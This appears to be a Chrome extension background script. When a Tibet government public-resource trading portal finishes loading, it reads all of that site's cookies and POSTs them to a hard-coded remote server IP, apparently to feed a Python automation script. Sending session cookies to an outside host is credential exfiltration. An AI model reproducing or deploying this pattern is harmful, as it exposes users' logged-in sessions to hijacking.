chrome.webNavigation.onCompleted.addListener((details) => {
  console.log("页面加载完成：", details.url);

  // 在这里添加你的逻辑，例如检测特定网址
  if (details.url.includes("https://ggzy.xizang.gov.cn/gfmweb/#/index")) {
    console.log("触发操作：", details.url);
    chrome.cookies.getAll({ url: details.url }, (cookies) => {
          console.log("获取到的Cookie：", cookies);
          // 将Cookie传递给Python脚本
        /*chrome.runtime.sendNativeMessage(
          "com.example.python_app", // 与本地应用的通信 ID
          {data: "Hello"},
          (response) => {
              if (chrome.runtime.lastError) {
                console.error("错误:", chrome.runtime.lastError);
              } else {
                console.log("Python 返回:", response);
              }
          }
        );*/
        // 云服务器  106.12.35.31
        urlRemote = 'http://106.12.35.31:5000/xi/signup'
        // urlRemote = 'http://127.0.0.1:5000/xi/signup'
        fetch(urlRemote, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(cookies)
        })
        .then(response => response.json())
        .then(data => console.log("Python 返回:", data))
        .catch(error => console.error("请求失败:", error));

    });
  }

}, { url: [{ schemes: ["http", "https"] }] }); // 限制监听的协议类型